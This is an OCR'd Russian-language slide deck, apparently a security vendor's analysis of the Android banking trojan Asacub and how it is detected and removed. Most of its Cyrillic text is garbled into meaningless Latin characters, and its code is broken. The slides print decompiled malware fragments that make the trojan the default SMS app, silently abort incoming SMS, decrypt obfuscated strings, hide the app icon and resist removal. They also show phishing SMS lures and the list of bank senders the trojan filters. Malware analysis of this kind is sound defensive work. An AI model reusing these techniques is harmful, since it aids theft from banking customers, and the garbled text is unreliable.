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[[EOIPAPUA SAPAKEHNA

Trojan-Banker.AndroidOS.Asacub
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ONHAMWKA ATAK

Asacub geTeKTMpoBaHue Mo AHAM
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L0-S0-9T0¢C
€0-50-9T0¢
6¢-70-9T0C
G¢-¥0-9T0¢C
T¢-¥0-9T0¢C
LT-¥0-9T0C
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HOBOIOAHWNE KAHWURYJ1bl — BPEM4A AJ14 ASACUB
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NCTOYHWNKHWN SAPAXEHNS



SMS-CINAM

IMG_22029.apk

t_photo_32564_img-1.apk

avito_ru_obmen_photo_43958_img.apk
fotografiya_458434-3.apk

anketa-1.apk

obmen_av_14124_img.apk
mms_photo_obmen_70404-20.apk
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SMS-CINAM

“XXunBble” Homepa co3agatenu ASACUB 6panu c AVITO

12:42 eee B F _all _all (EEED 88%

+79656514371 ¢ A

Poccus
SMS/MMS
1|2 qpespana 16:50

Oner, npeanarako 06mMeH ¢
aonnaTtou, BoT ¢goTo: inholas.ru/lo2
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PYHRUNOHAJT ASACUB



dPO MO PASITMHHBIM HAMNPABJIEHNAM

emom

Enter credit card number

e
visa [N

MMS-LlenTp would like to send a
message to 900.

exp date [/

3aNoMHKTS NOTUH cve?
» VERIFY CARD

ATaKa Ha SMS

}H K
GaAHKUHT Kparka y4eTHbIX gaHHbIX B0 Kparka AaHHbIX KapTbl
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LUTTMOH-BAHKEP

WnnoHax

®unbTpaumna exogawmx SMS coobuieH nn
Kpaxa Bcex SMS coobuueH ni

Cbop AaHHbIX 06 ycTpolicTBe(HOMep .

TenedoHa, IMEI)

C60p AaHHbBIX O MECTOMO /IO EHN W KePTBbI
C6op AaHHbIX 06 yCTaH 0BNEH HbIX
NPUNONKEHUAX

Mo KomaHge
LLeHTpa
ynpassieHus

OTnpasutb SMS

Moka3aTb panblLiMBOE OKHO
MpepocTtaBuTb Aoctyn K Shell
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ATAKA HA SMS BAHKNHT

CnoBapb dunbTpaumnm Bxoadamx SMS

900|3116|7878|184641159|312|iMTCPay|QIWI Wallet|MOBI.Dengi|Alfa-
Bank| Tinkoff|+79037672265|+79254247494|7494|+79037672273|Beeline|TeleZ|My
Beeline|QIWI Wallet|111|679|0Operator|QIWI-WALLET|Balance

Ha Android >= 5 Asacub yctaHaBinBaetca SMS npunoeHuem no
yMON4YaHMIO

public static void a(Context arg3) {
if(Bu SVERSION.SDK INT >= 19) {
ng w0 = arg3.getSystemService ("activity") .getRunningTasks (1) .get (D) .topActivity.gecClazsName

(y:

if(!w0.egqualsIgnoreCase (f.an) && 'vl.egqualsIgnoreCase(f.ac) && !I= honysSme.getDefaulcSmePackage
{arg3) .equalsIlgnoreCase (arg3.getPackageNanme () ) ) {
Intent v0_1 = new Intent("android.provider.Telephony.ACTION CHANGE DEFAULT");

v0_1.putExtra("package", arg3.getPackageName (});
v0_1.addFlags (268435456) ;
arg3.starthctivity (v0_1);

public veoid onReceive (C
if(EBuild$VERSICN.SDH INT < 19) {
this.a(arg4.getExtras (), arg3);
this.abortBroadcast();

else if(IT
this.a(arg4.gecExtras(), argi):
this.abortBroadcast():

Change SMS app?

Use KupiVip instead of Messaging as

your SMS app?
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CAMOSALLNTA

Server Side Obfuscation — o6e306paxkuBaHue Koga

public static void dwzlud(kfjdrxodfakm argl, Thread argl, Throwakble arg?) {
argl.dwzlud (argl, arg2):
H

private void dwzlud(Thread arg8, Throwable argd) {

jjuf.dwzlud (uslyhssdbt.dwzlud ("{ Eu$I"), uslyhssdbt.dwzlpd (" ju$!jI+5x?hS280U{u[x") argf.getMes=zage
(h):

this.getPackageManager () .setConponentEnabledSetting (new Co
.class), 1, 1)

YcnoxxHeHue
aHanusau
NnpoTUBOAENCTBUE

tHame { { (Context) this), =zkbxydkjzs

Intent w0 = this.getPackageManager () .getLaunchIntentForPackage (this.getPackageName () )
w0 .addFlags (67108864) ;

this.getSystemService (uslvhssdbt.dwzlud("1§!Q) ")) .sec(1, System.currentTimeMillis() + 1000, ﬂeTeKTM pOBaHMIO
PendingIntent.getActivity(( (Context)this), 123456, v0, 266435456));
P:ccess.killProcksstP:ccess.myPidt}}:
System.exit (0) ;
H
public void onCreate() {
Thread,setDefaultUncaughtExceptionHandler (new hge (this));
H
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CAMOSALLNTA

CnoBapHbI anropuTM NOACTaHOBKMU

Ztgmut.
Ztgmut.

Ztgmut

Ztgmut.
Etomut.

Ztgmut

EComut.
Etomut .

Ztgmut

EZtgmut.
Ztgmuat.

Ztgmut

Etomut.
Ztgmut.

Etgmut

EZtgmut.
Ztgmut.

Ztgmut

Ztgmut.

zgedpjecpgtw — ——-— T -
=gzdpjcpgbv. wve = (w2 + 1) % 256&; meyHA=—") ;
. Zg2dpjcpgtw. vl = (vl + thi=s.a[v2]) % 256; CTUgBEM=") ;
zgsdpjocpgtv. int v5 = this.a[vl]: XOR
2gedpjcpgtw. thi=.a[vl] = this.a[vZ]:
-zgzdpjcpgtw.  this.a[v2] = v5; YuL7gRRWw=") ;
2gzdpjepgtv. va[v0] = {(byte) (thi=z.a[(this.a[v2] + this.a[v1l]) % 256] argJ[B[v{J]}]-;
=gdpjcpgtw. ++v0;
.zgzdpjopgtw. ~ goto label 5;
zgzdpjcpgtwv. f.i = o.a("okDQuowGHA=—") ;
zgzdpicpgtv. £f.7 = oc.a("oclTatlpM");
. zgzdpicpgtw. f.k = o.a({"ckTJtoo="};
zgzdpicpgtw. £f.1 = o.a("oljlu¥o=");
zgzdpicpgtw. f.m = o.a("oljHocpM") ;
. zgzdpicpgtw. f.n = o.a("okjJEpdBM") ;
zgzdpjcpgtwv. f.o = o.a("onTxhvwvHviohGEowLE="} ;
zgzdpicpgtw. f.p = o.a("ol3boNtH") ;
. zgzdpjcpgtw. f.g = o.a("okPEncBM") ;
zgzdpcpgtw. f.r = oc.a("ol3XusYLWA=");
f.5 = o.a("ockDM=sco="};
f.£ = o.a("ockneoclH") ;
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CAMOSALLNTA

COKpbITUE NKOHKHU

public =2tatic void szgnufpk(Context argB) {
gghnkrnijs.zgsdpicpgtw (Ztamut. 2gzdpicpgew ("m¥-ikVESMamindw. dimi") ) ;
edhagpgk.vevjchliargg) ;
gghnkrnjs.zgzdpjcpgtw (Ztgmut . zgzdpjcpgtw (" 1ATi $H-20") ) -
FPackageManager w7 = argi.getPackageManager() -
¥v7.setComponentEnabledSetting (new ComponentMame (argf, bhmcukeduaa.class)y, 2, 1)-
v7.setConponentEnabledSetting (new ComponentMame (argl, pmngcocgbvatjd.class)y, 2, 1):;
v7.setConponentEnabledSetting (new ComponentMame (arg8, htbn.class), 2, 1);
v7.setConponentEnabledSetting (new ComponentMHame (argl8, Jjeejtravrot.class), 2, 1):
v7.setConponentEnabledbetting (new ComponentMHame (argl, ivayipgvg.class), 2, 1):
v7.setComponentEnabledSetting (new Componentiame (arg8, umkpvazgv.class), 2, 1)
gghnkrnis. zgzdpijcpgtw (ztgmut . 2gzdpjcpgtw ("k—- weE-Hi1! ")) :
argié.getSystemService (ztgmut.zgzdpjcpgtw (" ! —Ham-afwXamO") ) . removelctiveldmin (new Componentiame

(arg8, hnppfdng.class)):

gghnkrnjs.zgzdpjcpgtw (Ztgmut . 2gzdpicpgtw ( "Tmia— | TH-HGaHT-kHam-") ) ;
argi.getSystemService (Zogmat. Zgzdpijcpgow ("iXik ")) .=setRepeating (2, SvstemClock.elapsedRealtime

(), 15000, Pendinglntent.getService(argi, 1245, new Intent (argld, hgwtbkfjcduv.class)

, 268435456)) ;

w7 .secComponentEnabledSetting

' 'R§KY3

gzdpjcpgtw (" !'arHoamb6") ) ;
new Componentiame (arg8, jphhrpj.class)y, 2, 0);



CAMOSALLNTA

[MpoTnBOAEUCTBUE YAANEHUIO

JONCHN N N

(* Device administrators

g License Agreement

BTb

O Android Device Manager
. Allow Android Device Manager to

lock or erase a lost device

Malware
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HTO JIABOPATOPUA KACITEPCROIO
[MPOTUBOMNOCTABNAET ASACUB?



NMPOTUBOJENCTBUE CKAYKE

Kaspersky Backend
MpoayKTthl JIK €

KSN

Ccbinku 1

CTaTUCTUKA Sandbox
Machine Learning
BotTracking
[MoxoxecTb Koaa
Py4yHOi aHanu3

[leTeKTbl

Mbl 610KMpPYEM KaK CCbIIKM Ha caMUX 3/10BPefoB TaK U Ha UX KOMMYHUKaLMOHHbIE cepBepa
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Firefox

Play Store
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NMPOTUBOAENCTBUE 3AMYCKY

Aaxe ecnun ¢pann coxpaHuncs, Mbl yY3Haem 06 3TOM U yaanum
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AEMO
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NMPOTUBOAENCTBUE 3AMYCKY

WindowManager({ &80): Adding window Window{3b9fcf04 ul PopupWindow:Z2bSb5c20} at 11 of 18 (after Window{ldc4clf3 ul com.android.chrc

’audio_hw_primary( 135) : disabkle audio route: reset and update mixer path: low-latency-playvback

’audio_hw_primaryi 135} : disable snd dewvice: snd device(2: speaker)

SdkService( 1529): Monitor event: object = Jfstorage/emalated/0/Download/update.apk, path = fstoragefemulatedefDownlDalfupdate.apk,
UDS : DangerousObject.Multi.Generic

SdkService( 15239): Monitor event: path = /storage/emulated/0/Download/update.apk was removed

’audicu_hw_primaryi 135} : select devices: out snd device(2: speaker) in snd device (0: none)
ALCDB-LOADER( 195): ARCDB -> send_afe cal

’audicu_hw_primaryi 135} : enable snd device: snd device(2: speaker)

’audio_hw_primary( 135): enable audic_route: apply and update mixer path: low-latency-plavback

KASPERYKY3S
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NPOTUBOAENCTBUE MEPEKPLITUIO

Mbl oTCnexXuBaem NOnbITKMU NEePEeKPbITUA: NPOTUBOAENCTBYEM UHTEPPENCHDBIM
atakaM Ha KOpPHIo:

onOverlapActivity, package =

com.android.chrome, verdict = System

KASPERYKY3S



ADVANCED DISINFECTION

B Hawmnx aHTMBUPYCHbIX 6a3ax 6onee 25000 curHatyp
CurHaTtypbl geteKTupytot 6onee 18 000 000 BpeaOHOCHbIX NPUNOKEHUN

Ho 6e3 cneunanbHblX METOAOB yaaleHUa 3n10Bepaa Ha YCTPOUCTBE He
0O0OUNTUCD:

Bo Bpems feTeKTUpPoBaHUA Mbl
1) Y6uBaem npoLecchbl 310Bpeaa

2) CHumaem c 3noBpega ctatyc AAMUHUCTPaATOpa YCTPOMUCTBA

KASPERYKY3S
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ﬂl E M O APPS WIDGETS
P

Play Books Play Games Play Movies Play Music Play
&TV Newsstand

Play Store Purify QR Code Settings

Reader

Voice Search  YouTube

KASPER§KY#
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MOAYIN SALLUNTDI

MpoBepKa penytaunn cepTudUKaToB

Camo3awmTta u
NpoBepKa Le0CTHOCTH

3alyuTa oT
CKOMMPOMETUPOBAHHbIX
WI-Fl ceTe#

[loBepeHHoe XpaHunuuie
JaHHbIX MPUNOKEHUS

cepsepoB 1BEO

[lpoBepKa Ha root

3auiuta oT
KnaBUaTYPHbIX
LLIMMOHOB

NMpoBepkKa Bepcun OC Ha
npeamMeT yctapeBaHUs
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SARJTKOHEHHUE



H4TO OJAJIBLLE?

EcTb OCHOBaHUga nonaraTtb 4TO

1)

2)

3)

Cos3patenn ASACUB nepenpayTt Ha 6onee cepbE€3Hble METOAbI 3aLLUTbI
Kopa

YcunaTca nonbiTKU YKOPEHEHUS HA YCTPOMCTBE NPU NOMOLLMU NpaB cynep
nosb3oBaTend

B 6nuxKanwem oyayuiem nosiBATCA NOnNbITKU UHXXEKTUPOBaTb KOJ, B
npunoxexuuna b0 — nepeKpbITUE MOXHO 3aMETUTD.
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BOINPOCDbI?

BukTop Yebbiwes
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